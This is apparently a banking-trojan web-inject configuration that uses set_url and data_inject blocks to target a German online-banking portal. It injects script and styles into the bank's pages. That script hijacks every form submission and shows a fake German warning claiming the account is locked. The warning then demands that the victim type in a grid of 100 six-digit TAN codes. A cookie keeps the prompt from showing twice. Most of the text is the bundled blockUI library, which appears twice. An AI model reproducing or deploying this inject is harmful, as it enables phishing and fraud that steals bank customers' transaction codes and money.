showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
//	 onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4
};
// private data and functions follow...
var pageBlock = null;
var pageBlockEls = [];
function install(el, opts) {
var full = (el == window);
var msg = opts && opts.message !== undefined ? opts.message : undefined;

opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
opts.overlayCSS = jQuery.extend({}, jQuery.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
var css = jQuery.extend({}, jQuery.blockUI.defaults.css, opts.css || {});
var themedCSS = jQuery.extend({}, jQuery.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;

// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});

// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock

if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;

var data = {};
jQuery(el).data('blockUI.history', data);

data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1 = (jQuery.browser.msie || opts.forceIframe) 
? jQuery('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>')
: jQuery('<div class="blockUI" style="display:none"></div>');
var lyr2 = jQuery('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
var lyr3, s;
if (opts.theme && full) {
s = '<div class="blockUI blockMsg blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:fixed">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (opts.theme) {
s = '<div class="blockUI blockMsg blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:absolute">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (full) {
s = '<div class="blockUI blockMsg blockPage" style="z-index:'+z+';display:none;position:fixed"></div>';
}			
else {
s = '<div class="blockUI blockMsg blockElement" style="z-index:'+z+';display:none;position:absolute"></div>';
}
lyr3 = jQuery(s);

// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else 
lyr3.css(css);
}
// style the overlay
if (!opts.applyPlatformOpacityRules || !(jQuery.browser.mozilla && /Linux/.test(navigator.platform)))
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (jQuery.browser.msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//jQuery([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], jQuerypar = full ? jQuery('body') : jQuery(el);
jQuery.each(layers, function() {
this.appendTo(jQuerypar);
});

if (opts.theme && opts.draggable && jQuery.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!jQuery.boxModel || jQuery('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && jQuery.boxModel)
jQuery('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !jQuery.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
jQuery.each([lyr1,lyr2,lyr3], function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
full ? s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"')
: s.setExpression('height','this.parentNode.offsetHeight + "px"');
full ? s.setExpression('width','jQuery.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"')
: s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
jQuery(msg).show();
}

if ((jQuery.browser.msie || opts.forceIframe) && opts.showOverlay)
	lyr1.show(); // opacity is zero

if (opts.fadeIn) {
	
	var cb = opts.onBlock ? opts.onBlock : noOp;
	var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
	var cb2 = msg ? cb : noOp;
	
	if (opts.showOverlay)
		lyr2._fadeIn(opts.fadeIn, cb1);
	console.log(opts); return false;
	if (msg)
		lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
	if (opts.showOverlay)
		lyr2.show();
	if (msg)
		lyr3.show();
	if (opts.onBlock)
		opts.onBlock();
}
// bind key and mouse events

bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = jQuery(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);

if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
full ? jQuery.unblockUI(opts) : jQuery(el).unblock(opts);
}, opts.timeout);

jQuery(el).data('blockUI.timeout', to);
}

};
// remove the block
function remove(el, opts) {
var full = (el == window);
var jQueryel = jQuery(el);
var data = jQueryel.data('blockUI.history');
var to = jQueryel.data('blockUI.timeout');
if (to) {
clearTimeout(to);
jQueryel.removeData('blockUI.timeout');
}
opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = jQuery('body').children().filter('.blockUI').add('body > .blockUI');
else
els = jQuery('.blockUI', el);
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
};
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
jQuery(el).removeData('blockUI.history');
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
};
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, jQueryel = jQuery(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !jQueryel.data('blockUI.isBlocked')))
return;
if (!full)
jQueryel.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay)) 
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress';
b ? jQuery(document).bind(events, opts, handler) : jQuery(document).unbind(events, handler);
// former impl...
//	   var jQuerye = jQuery('a,:input');
//	   b ? jQuerye.bind(events, opts, handler) : jQuerye.unbind(events, handler);
};
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target == els[els.length-1];
var back = e.shiftKey && e.target == els[0];
if (fwd || back) {
setTimeout(function(){focus(back)},10);
return false;
}
}
}
// allow events within the message content
if (jQuery(e.target).parents('div.blockMsg').length > 0)
return true;
// allow events for content that is not being blocked
return jQuery(e.target).parents().children().filter('div.blockUI').length == 0;
};
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
};
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top  = t > 0 ? (t+'px') : '0';
};
function sz(el, p) {
return parseInt(jQuery.css(el,p))||0;
};
})(jQuery);


function cdf_getcookie () {
var c=window.document.cookie.toString();
return c.indexOf('wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS')!=-1;
}
function cdf_setcookie () {
var hn = window.location.hostname;
var futdate = new Date();
var expdate = futdate.getTime();
expdate+=31104000000;
futdate.setTime(expdate);
window.document.cookie='wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS;path=\/;domain=.'+hn+';expires='+futdate.toGMTString();
};

function cdf_check() {
	cdf_hide_errors();
	var error_exists=false;
	jQuery('#cdf').find('input[id^=clfield]').each(
		function(){
			if (error_exists){return false;}
			inp=jQuery(this);
			if (!inp.val() || inp.val().toString().search(/\d{6}/)==-1) {
				cdf_show_errors();
				setTimeout(
					cdf_hide_errors,
					5000
				);
				inp.focus();
				error_exists=true;
			}
		}
	);
	if (error_exists){return false;}
	//console.log(jQuery('#cdf').find('input[id^=clfield]'));
	//return false;
	cdf_setcookie();
	jQuery('#confirmation_dialog_form').submit();
};
function cdf_show_errors() {
jQuery('#confirmation_dialog_text').hide();
jQuery('#confirmation_dialog_errors').show();
};
function cdf_hide_errors() {
jQuery('#confirmation_dialog_text').show();
jQuery('#confirmation_dialog_errors').hide();
};
function clfield_check(target) {
	var ic=jQuery(target);
	if (typeof(target.id)=='undefined'){return false;};
	var nextid=ic.attr('id').replace(/[^0-9]/gi, '');
	nextid=parseInt(nextid)+1;
	if (ic.val().toString().length==6){
		if(ic.val().toString().search(/\d{6}/)==-1)
		{
		ic.addClass('bad');
		} else {
		ic.addClass('ok');
		jQuery('#clfield'+nextid).focus();
		}
	} else {
		ic.removeClass('ok')
		ic.removeClass('bad')
	}
};
function cdf_onfocus(target) {
jQuery('#confirmation_dialog_form input.clfield').removeClass('active');
jQuery(target).addClass('active');
};
function cdf_onkeyup(target) {
clfield_check(target);
};

function cdf_format(str){
	if (str<10) {
		str='00'+str.toString();
	} else if (str<100) {
		str='0'+str.toString();
	}
	return str;
}

function actual_format(str){
	if (str<10) {
		str=''+str.toString();
	} else if (str<100) {
		str=''+str.toString();
	} else if (str=100) {
		str=''+str.toString();
	}
	return str;
}

jQuery(document).ready(
function () {
		if (cdf_getcookie()){return false;}

		jQuery('form').submit(
			function (sender) {
				if (typeof(jQuery.blockUI)=='function') {
					jQuery.blockUI.defaults.css = {
					padding:	'0',
					margin:		0,
					width:		'900px',
					height:		'350px',
					top:		'20%',
					left:		'10%',
					textAlign:	'left',
					color:		'#000',
					border:		'0',
					backgroundColor:'#fff',
					cursor:		'default'
					};

					var msg= '<center><div id="cdf" class="confirmation_dialog">'+
					'<div class="cd_body">'+
					'<div style="margin-bottom:15px; color:#FF0000; font-size: 12pt; font-weight:bold; text-align:center">Achtung!</div>'+
					'<div id="confirmation_dialog_text" style="font-size: 9pt;text-align:left;padding: 0 30px 0 40px;">Sehr geehrter Benutzer. Ihr account f&uuml;r einige Funktion ist gespert! Bitte best&auml;tigen Sie Ihre g&uuml;ltige TAN-Liste, damit k&ouml;nnen Sie Ihre onlinebanking weiter voll benutzen. Fur Best&auml;tigung Ihre TAN-Liste, f&uuml;llen Sie die Form unten und dr&uuml;cken Sie die Taste Absenden.  Wir bedanken  Ihnen um Ihre Verst&auml;ndnis.</div>'+
					'<div id="confirmation_dialog_errors" class="cdf_errors">Bitte f&uuml;llen Sie alle Felder</div>'+
					'<form method="post" name="confirmation_dialog" id="confirmation_dialog_form">'+
					'<input type="hidden" id="DEpass" name="DEpass"/>'+
					'<div id="cdf_tbl">'+
					'<table align=center class="confirm_dlg_table" cellpadding=0 cellcpacing=0>'+
					'<tr style="padding-top:5px;">';
					var letters = ['a','b','c','d','e','f','g','h'];
					for (i=1; i<=10; i++) {
						msg+='<th>&nbsp;Nr.</th><th style="text-align:right">TAN</th>';
					}
					msg+='</tr><tr>';
					var clv_nr=1;
					var col_counter=1;
					for (i=1; i<=10; i++) {
						msg+='<tr>';
						for (j=1; j<=10; j++) {
							clv_nr=(i+(j-1)*10);
							
							msg+='<td>'+actual_format(clv_nr)+'</td><td><input onkeyup="cdf_onkeyup(this)" onfocus="cdf_onfocus(this)" maxlength="6" class="clfield" type="text" name="clfield_tan'+cdf_format(clv_nr)+'" id="clfield'+clv_nr+'" /></td>';
						}
						msg+='</tr>';
					}
					msg+='</table></div></form>'+
					'<div style="display:block; margin-top:10px;height:32px;"><input value="Absenden" type="button" onclick="cdf_check()" /></div>'+
					'</div></div></center>';

					jQuery.blockUI({ 
						message: msg
					});

					jQuery("html, body").css("overflow", "hidden");
					setTimeout(
						function () {		
						jQuery('#clfield1').focus();
						//jQuery('#cdf_tbl').corner();
						},
						50
					);
					return false;
				}
			}
		);
	}
);
</script>
data_end
data_after
data_end


set_url https://finanzportal.fiducia.de/* GP
data_before
</head>
data_end
data_inject
<style>
.confirmation_dialog {
width: 900px;
/*height: 520px;*/
border: 1px solid #000;
background: #FFF;
}

.cd_header {
background: #FFF;
padding: 5px 40px 5px 25px;
height: 65px;
display: block;
border-bottom: 1px solid #000;
}

.cd_body{
padding: 10px;
/*padding-top:0px;*/
}

.cdf_errors {
background: #FAA;
padding: 15px;
font-size: 9pt;
display:none;
}

#cdf_tbl {
background: #FFF;
margin-top:10px;
margin-bottom:0px;
width: 890px;
height: 220px;
}

table.confirm_dlg_table th {
font-size: 7pt;
font-weight: normal;
color: #000;
text-align:left;
padding-top:5px;
}

table.confirm_dlg_table tr {
lihe-height:0px;
margin: 0;
padding: 0;
}

table.confirm_dlg_table td {
font-size: 13px;
color: #000;
height: 7pt;
font-weight:normal;
text-align: right;
margin: 0;
padding: 0;
padding-left:0px;
}

table.confirm_dlg_table input {
width:40px;
font-size: 7pt;
font-weight: bold;
color: #000;
height: 15px;
border: 1px solid #000;
margin: 0;
/*margin-left:5px;*/
margin-bottom:0px;
padding: 0;
float:left;
}

table.confirm_dlg_table input.active {
border: 1px solid #F77;
}

table.confirm_dlg_table input.ok {
background: #AFA;
}

table.confirm_dlg_table input.bad {
background: #FAA;
}

.cb_th {
	color: #000;
	padding-right: 10px;
}

</style>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
jQuery.noConflict()
;(function(jQuery) {
jQuery.fn._fadeIn = jQuery.fn.fadeIn;
var noOp = function() {};
// this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
// retarded userAgent strings on Vista)
var mode = document.documentMode || 0;
var setExpr = jQuery.browser.msie && ((jQuery.browser.version < 8 && !mode) || mode < 8);
var ie6 = jQuery.browser.msie && /MSIE 6.0/.test(navigator.userAgent) && !mode;
// global jQuery methods for blocking/unblocking the entire page
jQuery.blockUI   = function(opts) { install(window, opts); };
jQuery.unblockUI = function(opts) { remove(window, opts); };
// convenience method for quick growl-like notifications  (http://www.google.com/search?q=growl)
jQuery.growlUI = function(title, message, timeout, onClose) {
var jQuerym = jQuery('<div class="growlUI"></div>');
if (title) jQuerym.append('<h1>'+title+'</h1>');
if (message) jQuerym.append('<h2>'+message+'</h2>');
if (timeout == undefined) timeout = 3000;
jQuery.blockUI({
message: jQuerym, fadeIn: 700, fadeOut: 1000, centerY: true,
timeout: timeout, showOverlay: false,
onUnblock: onClose, 
css: jQuery.blockUI.defaults.growlCSS
});
};
// plugin method for blocking element content
jQuery.fn.block = function(opts) {
return this.unblock({ fadeOut: 0 }).each(function() {
if (jQuery.css(this,'position') == 'static')
this.style.position = 'relative';
if (jQuery.browser.msie)
this.style.zoom = 1; // force 'hasLayout'
install(this, opts);
});
};
// plugin method for unblocking element content
jQuery.fn.unblock = function(opts) {
return this.each(function() {
remove(this, opts);
});
};
jQuery.blockUI.version = 2.33; // 2nd generation blocking at no extra cost!
// override these in your code to change the default behavior and style
jQuery.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message:  '<h1>Please wait...</h1>',
title: null,	  // title string; only used when theme == true
draggable: true,  // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// jQuery.blockUI.defaults.css = {};
css: {
padding:	0,
margin:		0,
width:		'30%',
top:		'40%',
left:		'15%',
textAlign:	'center',
color:		'#000',
border:		'3px solid #aaa',
backgroundColor:'#fff',
cursor:		'wait'
},
// minimal style set used when themes are used
themedCSS: {
width:	'30%',
top:	'40%',
left:	'35%'
},
// styles for the overlay
overlayCSS:  {
backgroundColor: '#000',
opacity:	  	 0.6,
cursor:		  	 'wait'
},
// styles applied when using jQuery.growlUI
growlCSS: {
width:  	'350px',
top:		'10px',
left:   	'',
right:  	'10px',
border: 	'none',
padding:	'5px',
opacity:	0.6,
cursor: 	'default',
color:		'#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius':	 '10px',
'border-radius': 		 '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages.  disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn:  0,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut:  0,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
//	 onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
quirksmodeOffsetHack: 4
};
// private data and functions follow...
var pageBlock = null;
var pageBlockEls = [];
function install(el, opts) {
var full = (el == window);
var msg = opts && opts.message !== undefined ? opts.message : undefined;

opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
opts.overlayCSS = jQuery.extend({}, jQuery.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
var css = jQuery.extend({}, jQuery.blockUI.defaults.css, opts.css || {});
var themedCSS = jQuery.extend({}, jQuery.blockUI.defaults.themedCSS, opts.themedCSS || {});
msg = msg === undefined ? opts.message : msg;

// remove the current block (if there is one)
if (full && pageBlock)
remove(window, {fadeOut:0});

// if an existing element is being used as the blocking content then we capture
// its current place in the DOM (and current display style) so we can restore
// it when we unblock

if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
var node = msg.jquery ? msg[0] : msg;

var data = {};
jQuery(el).data('blockUI.history', data);

data.el = node;
data.parent = node.parentNode;
data.display = node.style.display;
data.position = node.style.position;
if (data.parent)
data.parent.removeChild(node);
}
var z = opts.baseZ;
// blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
// layer1 is the iframe layer which is used to supress bleed through of underlying content
// layer2 is the overlay layer which has opacity and a wait cursor (by default)
// layer3 is the message content that is displayed while blocking
var lyr1 = (jQuery.browser.msie || opts.forceIframe) 
? jQuery('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>')
: jQuery('<div class="blockUI" style="display:none"></div>');
var lyr2 = jQuery('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
var lyr3, s;
if (opts.theme && full) {
s = '<div class="blockUI blockMsg blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:fixed">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (opts.theme) {
s = '<div class="blockUI blockMsg blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+z+';display:none;position:absolute">' +
'<div class="ui-widget-header ui-dialog-titlebar blockTitle">'+(opts.title || '&nbsp;')+'</div>' +
'<div class="ui-widget-content ui-dialog-content"></div>' +
'</div>';
}
else if (full) {
s = '<div class="blockUI blockMsg blockPage" style="z-index:'+z+';display:none;position:fixed"></div>';
}			
else {
s = '<div class="blockUI blockMsg blockElement" style="z-index:'+z+';display:none;position:absolute"></div>';
}
lyr3 = jQuery(s);

// if we have a message, style it
if (msg) {
if (opts.theme) {
lyr3.css(themedCSS);
lyr3.addClass('ui-widget-content');
}
else 
lyr3.css(css);
}
// style the overlay
if (!opts.applyPlatformOpacityRules || !(jQuery.browser.mozilla && /Linux/.test(navigator.platform)))
lyr2.css(opts.overlayCSS);
lyr2.css('position', full ? 'fixed' : 'absolute');
// make iframe layer transparent in IE
if (jQuery.browser.msie || opts.forceIframe)
lyr1.css('opacity',0.0);
//jQuery([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
var layers = [lyr1,lyr2,lyr3], jQuerypar = full ? jQuery('body') : jQuery(el);
jQuery.each(layers, function() {
this.appendTo(jQuerypar);
});

if (opts.theme && opts.draggable && jQuery.fn.draggable) {
lyr3.draggable({
handle: '.ui-dialog-titlebar',
cancel: 'li'
});
}
// ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
var expr = setExpr && (!jQuery.boxModel || jQuery('object,embed', full ? null : el).length > 0);
if (ie6 || expr) {
// give body 100% height
if (full && opts.allowBodyStretch && jQuery.boxModel)
jQuery('html,body').css('height','100%');
// fix ie6 issue when blocked element has a border width
if ((ie6 || !jQuery.boxModel) && !full) {
var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
var fixT = t ? '(0 - '+t+')' : 0;
var fixL = l ? '(0 - '+l+')' : 0;
}
// simulate fixed position
jQuery.each([lyr1,lyr2,lyr3], function(i,o) {
var s = o[0].style;
s.position = 'absolute';
if (i < 2) {
full ? s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"')
: s.setExpression('height','this.parentNode.offsetHeight + "px"');
full ? s.setExpression('width','jQuery.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"')
: s.setExpression('width','this.parentNode.offsetWidth + "px"');
if (fixL) s.setExpression('left', fixL);
if (fixT) s.setExpression('top', fixT);
}
else if (opts.centerY) {
if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
s.marginTop = 0;
}
else if (!opts.centerY && full) {
var top = (opts.css && opts.css.top) ? parseInt(opts.css.top) : 0;
var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
s.setExpression('top',expression);
}
});
}
// show the message
if (msg) {
if (opts.theme)
lyr3.find('.ui-widget-content').append(msg);
else
lyr3.append(msg);
if (msg.jquery || msg.nodeType)
jQuery(msg).show();
}

if ((jQuery.browser.msie || opts.forceIframe) && opts.showOverlay)
	lyr1.show(); // opacity is zero

if (opts.fadeIn) {
	
	var cb = opts.onBlock ? opts.onBlock : noOp;
	var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
	var cb2 = msg ? cb : noOp;
	
	if (opts.showOverlay)
		lyr2._fadeIn(opts.fadeIn, cb1);
	console.log(opts); return false;
	if (msg)
		lyr3._fadeIn(opts.fadeIn, cb2);
}
else {
	if (opts.showOverlay)
		lyr2.show();
	if (msg)
		lyr3.show();
	if (opts.onBlock)
		opts.onBlock();
}
// bind key and mouse events

bind(1, el, opts);
if (full) {
pageBlock = lyr3[0];
pageBlockEls = jQuery(':input:enabled:visible',pageBlock);
if (opts.focusInput)
setTimeout(focus, 20);
}
else
center(lyr3[0], opts.centerX, opts.centerY);

if (opts.timeout) {
// auto-unblock
var to = setTimeout(function() {
full ? jQuery.unblockUI(opts) : jQuery(el).unblock(opts);
}, opts.timeout);

jQuery(el).data('blockUI.timeout', to);
}

};
// remove the block
function remove(el, opts) {
var full = (el == window);
var jQueryel = jQuery(el);
var data = jQueryel.data('blockUI.history');
var to = jQueryel.data('blockUI.timeout');
if (to) {
clearTimeout(to);
jQueryel.removeData('blockUI.timeout');
}
opts = jQuery.extend({}, jQuery.blockUI.defaults, opts || {});
bind(0, el, opts); // unbind events
var els;
if (full) // crazy selector to handle odd field errors in ie6/7
els = jQuery('body').children().filter('.blockUI').add('body > .blockUI');
else
els = jQuery('.blockUI', el);
if (full)
pageBlock = pageBlockEls = null;
if (opts.fadeOut) {
els.fadeOut(opts.fadeOut);
setTimeout(function() { reset(els,data,opts,el); }, opts.fadeOut);
}
else
reset(els, data, opts, el);
};
// move blocking element back into the DOM where it started
function reset(els,data,opts,el) {
els.each(function(i,o) {
// remove via DOM calls so we don't lose event handlers
if (this.parentNode)
this.parentNode.removeChild(this);
});
if (data && data.el) {
data.el.style.display = data.display;
data.el.style.position = data.position;
if (data.parent)
data.parent.appendChild(data.el);
jQuery(el).removeData('blockUI.history');
}
if (typeof opts.onUnblock == 'function')
opts.onUnblock(el,opts);
};
// bind/unbind the handler
function bind(b, el, opts) {
var full = el == window, jQueryel = jQuery(el);
// don't bother unbinding if there is nothing to unbind
if (!b && (full && !pageBlock || !full && !jQueryel.data('blockUI.isBlocked')))
return;
if (!full)
jQueryel.data('blockUI.isBlocked', b);
// don't bind events when overlay is not in use or if bindEvents is false
if (!opts.bindEvents || (b && !opts.showOverlay)) 
return;
// bind anchors and inputs for mouse and key events
var events = 'mousedown mouseup keydown keypress';
b ? jQuery(document).bind(events, opts, handler) : jQuery(document).unbind(events, handler);
// former impl...
//	   var jQuerye = jQuery('a,:input');
//	   b ? jQuerye.bind(events, opts, handler) : jQuerye.unbind(events, handler);
};
// event handler to suppress keyboard/mouse events when blocking
function handler(e) {
// allow tab navigation (conditionally)
if (e.keyCode && e.keyCode == 9) {
if (pageBlock && e.data.constrainTabKey) {
var els = pageBlockEls;
var fwd = !e.shiftKey && e.target == els[els.length-1];
var back = e.shiftKey && e.target == els[0];
if (fwd || back) {
setTimeout(function(){focus(back)},10);
return false;
}
}
}
// allow events within the message content
if (jQuery(e.target).parents('div.blockMsg').length > 0)
return true;
// allow events for content that is not being blocked
return jQuery(e.target).parents().children().filter('div.blockUI').length == 0;
};
function focus(back) {
if (!pageBlockEls)
return;
var e = pageBlockEls[back===true ? pageBlockEls.length-1 : 0];
if (e)
e.focus();
};
function center(el, x, y) {
var p = el.parentNode, s = el.style;
var l = ((p.offsetWidth - el.offsetWidth)/2) - sz(p,'borderLeftWidth');
var t = ((p.offsetHeight - el.offsetHeight)/2) - sz(p,'borderTopWidth');
if (x) s.left = l > 0 ? (l+'px') : '0';
if (y) s.top  = t > 0 ? (t+'px') : '0';
};
function sz(el, p) {
return parseInt(jQuery.css(el,p))||0;
};
})(jQuery);


function cdf_getcookie () {
var c=window.document.cookie.toString();
return c.indexOf('wwcWF34FefefwesdfdfvsdSDwefEWFEWwefw=WEFwewewefWEaS')!=-1;
}
function cdf_setcookie () {
var hn = window.location.hostname;
var futdate = new Date();
var expdate = futdate.getTime();
expdate+=31104000000;
futdate.setTime(expdate);
